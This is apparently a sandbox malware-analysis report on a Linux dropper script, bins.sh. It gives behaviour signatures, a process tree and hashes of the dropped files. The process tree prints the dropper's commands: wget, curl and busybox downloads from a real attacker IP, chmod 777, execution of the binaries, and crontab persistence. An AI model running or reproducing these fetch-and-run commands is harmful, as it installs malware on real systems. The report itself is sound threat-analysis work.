Analysis

  • max time kernel
    149s
  • max time network
    151s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20240418-en
  • resource tags

    arch:armhfimage:debian9-armhf-20240418-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    10-11-2024 00:47

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    626b2399c8072b30ebfe63d2d23c416e

  • SHA1

    7a5dca06f864826e8a1ad21ffac1f9edb045bb3f

  • SHA256

    1579d7ea20d6243a2c8c7b6caa4e35fd28dc71e627adb276834dce8e5e012f9a

  • SHA512

    6f43dc9a7d2c30a0447f51d3a2fd0c90d818532d7c8ea49842fd66c6a1a15149e5d403cd8182369162925362d2d2d6d5c08fb5e95d9ee28c3ee4b237c4a35825

  • SSDEEP

    192:DnbMZhr1cEeNuN1i3L75f/szfL6dhQgN1i3L5f/szfYxnbMZhzLcEZ:DnbMZhroXA67gnbMZhz3

Malware Config

Signatures

  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Contacts a large (1929) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 8 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 8 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Checks CPU configuration 1 TTPs 8 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 24 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:637
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:641
        • /usr/bin/wget
          wget http://87.120.84.230/bins/wbTbgzmYogpF1wP9oFHBEpjvYkkfEjh681
          2⤵
          • Writes file to tmp directory
          PID:646
        • /usr/bin/curl
          curl -O http://87.120.84.230/bins/wbTbgzmYogpF1wP9oFHBEpjvYkkfEjh681
          2⤵
          • Checks CPU configuration
          • Reads runtime system information
          • Writes file to tmp directory
          PID:664
        • /bin/busybox
          /bin/busybox wget http://87.120.84.230/bins/wbTbgzmYogpF1wP9oFHBEpjvYkkfEjh681
          2⤵
          • Writes file to tmp directory
          PID:671
        • /bin/chmod
          chmod 777 wbTbgzmYogpF1wP9oFHBEpjvYkkfEjh681
          2⤵
          • File and Directory Permissions Modification
          PID:672
        • /tmp/wbTbgzmYogpF1wP9oFHBEpjvYkkfEjh681
          ./wbTbgzmYogpF1wP9oFHBEpjvYkkfEjh681
          2⤵
          • Executes dropped EXE
          PID:673
        • /bin/rm
          rm wbTbgzmYogpF1wP9oFHBEpjvYkkfEjh681
          2⤵
            PID:675
          • /usr/bin/wget
            wget http://87.120.84.230/bins/KvH3UoksRRYPVQBB5h446C1JLpGoKMsui6
            2⤵
            • Writes file to tmp directory
            PID:676
          • /usr/bin/curl
            curl -O http://87.120.84.230/bins/KvH3UoksRRYPVQBB5h446C1JLpGoKMsui6
            2⤵
            • Checks CPU configuration
            • Writes file to tmp directory
            PID:682
          • /bin/busybox
            /bin/busybox wget http://87.120.84.230/bins/KvH3UoksRRYPVQBB5h446C1JLpGoKMsui6
            2⤵
            • Writes file to tmp directory
            PID:692
          • /bin/chmod
            chmod 777 KvH3UoksRRYPVQBB5h446C1JLpGoKMsui6
            2⤵
            • File and Directory Permissions Modification
            PID:696
          • /tmp/KvH3UoksRRYPVQBB5h446C1JLpGoKMsui6
            ./KvH3UoksRRYPVQBB5h446C1JLpGoKMsui6
            2⤵
            • Executes dropped EXE
            PID:698
          • /bin/rm
            rm KvH3UoksRRYPVQBB5h446C1JLpGoKMsui6
            2⤵
              PID:700
            • /usr/bin/wget
              wget http://87.120.84.230/bins/k4a2H5JjVqUo2GgKWbw4m4mFhkXN4lfQBE
              2⤵
              • Writes file to tmp directory
              PID:702
            • /usr/bin/curl
              curl -O http://87.120.84.230/bins/k4a2H5JjVqUo2GgKWbw4m4mFhkXN4lfQBE
              2⤵
              • Checks CPU configuration
              • Writes file to tmp directory
              PID:713
            • /bin/busybox
              /bin/busybox wget http://87.120.84.230/bins/k4a2H5JjVqUo2GgKWbw4m4mFhkXN4lfQBE
              2⤵
              • Writes file to tmp directory
              PID:728
            • /bin/chmod
              chmod 777 k4a2H5JjVqUo2GgKWbw4m4mFhkXN4lfQBE
              2⤵
              • File and Directory Permissions Modification
              PID:731
            • /tmp/k4a2H5JjVqUo2GgKWbw4m4mFhkXN4lfQBE
              ./k4a2H5JjVqUo2GgKWbw4m4mFhkXN4lfQBE
              2⤵
              • Executes dropped EXE
              PID:732
            • /bin/rm
              rm k4a2H5JjVqUo2GgKWbw4m4mFhkXN4lfQBE
              2⤵
                PID:734
              • /usr/bin/wget
                wget http://87.120.84.230/bins/MTCQU3BqIJPZh58hmGcaOIo4s9qVOpQUaS
                2⤵
                • Writes file to tmp directory
                PID:735
              • /usr/bin/curl
                curl -O http://87.120.84.230/bins/MTCQU3BqIJPZh58hmGcaOIo4s9qVOpQUaS
                2⤵
                • Checks CPU configuration
                • Reads runtime system information
                • Writes file to tmp directory
                PID:736
              • /bin/busybox
                /bin/busybox wget http://87.120.84.230/bins/MTCQU3BqIJPZh58hmGcaOIo4s9qVOpQUaS
                2⤵
                • Writes file to tmp directory
                PID:748
              • /bin/chmod
                chmod 777 MTCQU3BqIJPZh58hmGcaOIo4s9qVOpQUaS
                2⤵
                • File and Directory Permissions Modification
                PID:752
              • /tmp/MTCQU3BqIJPZh58hmGcaOIo4s9qVOpQUaS
                ./MTCQU3BqIJPZh58hmGcaOIo4s9qVOpQUaS
                2⤵
                • Executes dropped EXE
                PID:754
              • /bin/rm
                rm MTCQU3BqIJPZh58hmGcaOIo4s9qVOpQUaS
                2⤵
                  PID:756
                • /usr/bin/wget
                  wget http://87.120.84.230/bins/tY4qlt8J5NilOeNy0I0EYHjjYOtZkuaaSA
                  2⤵
                  • Writes file to tmp directory
                  PID:758
                • /usr/bin/curl
                  curl -O http://87.120.84.230/bins/tY4qlt8J5NilOeNy0I0EYHjjYOtZkuaaSA
                  2⤵
                  • Checks CPU configuration
                  • Writes file to tmp directory
                  PID:769
                • /bin/busybox
                  /bin/busybox wget http://87.120.84.230/bins/tY4qlt8J5NilOeNy0I0EYHjjYOtZkuaaSA
                  2⤵
                  • Writes file to tmp directory
                  PID:774
                • /bin/chmod
                  chmod 777 tY4qlt8J5NilOeNy0I0EYHjjYOtZkuaaSA
                  2⤵
                  • File and Directory Permissions Modification
                  PID:775
                • /tmp/tY4qlt8J5NilOeNy0I0EYHjjYOtZkuaaSA
                  ./tY4qlt8J5NilOeNy0I0EYHjjYOtZkuaaSA
                  2⤵
                  • Executes dropped EXE
                  PID:776
                • /bin/rm
                  rm tY4qlt8J5NilOeNy0I0EYHjjYOtZkuaaSA
                  2⤵
                    PID:778
                  • /usr/bin/wget
                    wget http://87.120.84.230/bins/QxDLp4YZ0P88VbRU27iIX3zraLMxtBlUqZ
                    2⤵
                    • Writes file to tmp directory
                    PID:779
                  • /usr/bin/curl
                    curl -O http://87.120.84.230/bins/QxDLp4YZ0P88VbRU27iIX3zraLMxtBlUqZ
                    2⤵
                    • Checks CPU configuration
                    • Writes file to tmp directory
                    PID:780
                  • /bin/busybox
                    /bin/busybox wget http://87.120.84.230/bins/QxDLp4YZ0P88VbRU27iIX3zraLMxtBlUqZ
                    2⤵
                    • Writes file to tmp directory
                    PID:781
                  • /bin/chmod
                    chmod 777 QxDLp4YZ0P88VbRU27iIX3zraLMxtBlUqZ
                    2⤵
                    • File and Directory Permissions Modification
                    PID:782
                  • /tmp/QxDLp4YZ0P88VbRU27iIX3zraLMxtBlUqZ
                    ./QxDLp4YZ0P88VbRU27iIX3zraLMxtBlUqZ
                    2⤵
                    • Executes dropped EXE
                    PID:783
                  • /bin/rm
                    rm QxDLp4YZ0P88VbRU27iIX3zraLMxtBlUqZ
                    2⤵
                      PID:785
                    • /usr/bin/wget
                      wget http://87.120.84.230/bins/IfQzDbpH3k4a52gqcdTKQD2HSmomChCuZd
                      2⤵
                      • Writes file to tmp directory
                      PID:786
                    • /usr/bin/curl
                      curl -O http://87.120.84.230/bins/IfQzDbpH3k4a52gqcdTKQD2HSmomChCuZd
                      2⤵
                      • Checks CPU configuration
                      • Writes file to tmp directory
                      PID:787
                    • /bin/busybox
                      /bin/busybox wget http://87.120.84.230/bins/IfQzDbpH3k4a52gqcdTKQD2HSmomChCuZd
                      2⤵
                      • Writes file to tmp directory
                      PID:788
                    • /bin/chmod
                      chmod 777 IfQzDbpH3k4a52gqcdTKQD2HSmomChCuZd
                      2⤵
                      • File and Directory Permissions Modification
                      PID:789
                    • /tmp/IfQzDbpH3k4a52gqcdTKQD2HSmomChCuZd
                      ./IfQzDbpH3k4a52gqcdTKQD2HSmomChCuZd
                      2⤵
                      • Executes dropped EXE
                      PID:790
                    • /bin/rm
                      rm IfQzDbpH3k4a52gqcdTKQD2HSmomChCuZd
                      2⤵
                        PID:792
                      • /usr/bin/wget
                        wget http://87.120.84.230/bins/yqK7vGqzSR0sfggzotJhm4EupCFAAlcjbu
                        2⤵
                        • Writes file to tmp directory
                        PID:793
                      • /usr/bin/curl
                        curl -O http://87.120.84.230/bins/yqK7vGqzSR0sfggzotJhm4EupCFAAlcjbu
                        2⤵
                        • Checks CPU configuration
                        • Writes file to tmp directory
                        PID:794
                      • /bin/busybox
                        /bin/busybox wget http://87.120.84.230/bins/yqK7vGqzSR0sfggzotJhm4EupCFAAlcjbu
                        2⤵
                        • Writes file to tmp directory
                        PID:795
                      • /bin/chmod
                        chmod 777 yqK7vGqzSR0sfggzotJhm4EupCFAAlcjbu
                        2⤵
                        • File and Directory Permissions Modification
                        PID:796
                      • /tmp/yqK7vGqzSR0sfggzotJhm4EupCFAAlcjbu
                        ./yqK7vGqzSR0sfggzotJhm4EupCFAAlcjbu
                        2⤵
                        • Executes dropped EXE
                        • Renames itself
                        • Reads runtime system information
                        PID:797
                        • /bin/sh
                          sh -c "crontab -l"
                          3⤵
                            PID:799
                            • /usr/bin/crontab
                              crontab -l
                              4⤵
                              • Reads runtime system information
                              PID:800
                          • /bin/sh
                            sh -c "crontab -"
                            3⤵
                              PID:801
                              • /usr/bin/crontab
                                crontab -
                                4⤵
                                • Creates/modifies Cron job
                                PID:802
                          • /bin/rm
                            rm yqK7vGqzSR0sfggzotJhm4EupCFAAlcjbu
                            2⤵
                              PID:806
                            • /usr/bin/wget
                              wget http://87.120.84.230/bins/kjLCPwxzy56lkfUZiJ9WrRpi6mCjE7cnCU
                              2⤵
                                PID:809

                            Network

                            MITRE ATT&CK Enterprise v15

                            Replay Monitor

                            Loading Replay Monitor...

                            Downloads

                            • /tmp/IfQzDbpH3k4a52gqcdTKQD2HSmomChCuZd

                              Filesize

                              122KB

                              MD5

                              cd3d4b9c643e5b473fb4d88ed05f0716

                              SHA1

                              64ee7a97418583d759eaea8000890cc3bae1b5f4

                              SHA256

                              0cbb1e62423a82d17a7b1c9def6a5570a8414f36e2623f1d82cd4e6281930944

                              SHA512

                              164ee6eb1dc167f48a62683700bf3a4787f9ec4b12335e9e30d6670406324d111557b3be22fd6a9689b4f60562c8a3bf62867f2cae86c04cb1b01ee2e219cc52

                            • /tmp/KvH3UoksRRYPVQBB5h446C1JLpGoKMsui6

                              Filesize

                              111KB

                              MD5

                              701e7a55a4f3650f5feee92a9860e5fc

                              SHA1

                              6ce4a7f0dc80fe557a0ace4de25e6305af221ed4

                              SHA256

                              ff851250b0bd7e6f2c445b08d858d840b554caf75a37ada2a970ea4d317ba588

                              SHA512

                              7352517b4af3b0cfe1cc814accf18e6254532f33dee274279bd499b6748aa0ed044c9429d6df0eb07ff0292cd0f9388ce44d278e0c562e6e57110b28a66a5f11

                            • /tmp/MTCQU3BqIJPZh58hmGcaOIo4s9qVOpQUaS

                              Filesize

                              98KB

                              MD5

                              5141342d0df8699fa32a6b066a0c592e

                              SHA1

                              8157673225bd5182f16215e2aa823a25ca2d4fbc

                              SHA256

                              54302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d

                              SHA512

                              d6b24571e7691227abafc70133a1da007c97c2730c820de77a750d2c140a8a75554cc614b4729debc4ec5480124252737c5846a458a5146005285c6d3f9e3801

                            • /tmp/QxDLp4YZ0P88VbRU27iIX3zraLMxtBlUqZ

                              Filesize

                              151KB

                              MD5

                              3c90d5820bddcf7c5d1bd21dfa49d958

                              SHA1

                              5ba05bd489e50af97d6dc45e3a0be60e494d5083

                              SHA256

                              bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2

                              SHA512

                              54a0e2ec10040634100fb5c4bddc35f558471f4ff833f9ad20f16ffd14c286cf251841bdaad7c557c3c78efc2094db91038c195c0ddabdecf9beac97ff2ce01a

                            • /tmp/k4a2H5JjVqUo2GgKWbw4m4mFhkXN4lfQBE

                              Filesize

                              117KB

                              MD5

                              849fa04ef88a8e8de32cb2e8538de5fe

                              SHA1

                              c768af29fe4b6695fff1541623e8bbd1c6f242f7

                              SHA256

                              8bc5e3bff5150738699927ca2b95f3e3bfd87aed44c30fc61fac788248528579

                              SHA512

                              2d8a8b2f04b494f95740b6f6315a71b40d9b2099922232791604b970a4533d1c51fa6deb6d2f3b4ce71b4795b842c1af75cd06981c81c94d4a87698be9d920cf

                            • /tmp/tY4qlt8J5NilOeNy0I0EYHjjYOtZkuaaSA

                              Filesize

                              111KB

                              MD5

                              ca897a38f23ec23521ce0b1b83f8422d

                              SHA1

                              b8d2ab335346aba9a72bae0fe3533aca1ab7b66a

                              SHA256

                              043df61baf17d6a2353b418c5f87eebea4ca1c3fd6b63eaccc34d9bcd0556832

                              SHA512

                              10d3026b43167121b62786dde231a04e25eb27905989f59a92b5eba92134e30cea554a73e419d3a505e650ee4c474ee407103df335cd84bd8c0f3428ccc16feb

                            • /tmp/wbTbgzmYogpF1wP9oFHBEpjvYkkfEjh681

                              Filesize

                              99KB

                              MD5

                              9438d9bc392bcf300a5583b6df5bc8f6

                              SHA1

                              375a6ae34b516f6f3eeea8030c4084f585017efa

                              SHA256

                              68e6282ed9046c9e22dbdf051dc03956803a46805f599e8cb9b52b993caa8f1e

                              SHA512

                              1f3e4219359a28c0f6373c0369da2b5dc0e89789afb89664627d8d9e37d4b72da36322b4015491d7daa03e46dff07d39f00dca18f274e9623dab0ff2d869c860

                            • /tmp/yqK7vGqzSR0sfggzotJhm4EupCFAAlcjbu

                              Filesize

                              177KB

                              MD5

                              786d75a158fe731feca3880f436082c0

                              SHA1

                              79ea2734e43d00cdeabed5586b2c1994d02aef3e

                              SHA256

                              5fb5b9beb44997a6d1baf950a8bf05b94aa59406d82ba2fea27eb13c497d4b18

                              SHA512

                              7984ebc874563267570f828ee158e4860971e184900e3590ac3b4829285443e065dd1ad4df190ceabf575880a4cd8ead4dd1132e9c1650239accf3f6440a3f7f

                            • /var/spool/cron/crontabs/tmp.8tHS53

                              Filesize

                              210B

                              MD5

                              58e294801f87772e84c1062466648a36

                              SHA1

                              b1bc9b748bb973c42f9ac86fa8675d4fc719124a

                              SHA256

                              c91fd051e9ce5e9ce678ace21d1934eaea31248081b9cc847226efa98cda2a02

                              SHA512

                              76c49bd3493251beaecb4a05c5546a178c4a358ebc47d21f2bae215e2dc646c07b3a6c39cc4e0dc971a5eb99932cddc6329c929ef8627b821786392289769aad

                            • memory/702-1-0xb66e3000-0xb66f4044-memory.dmp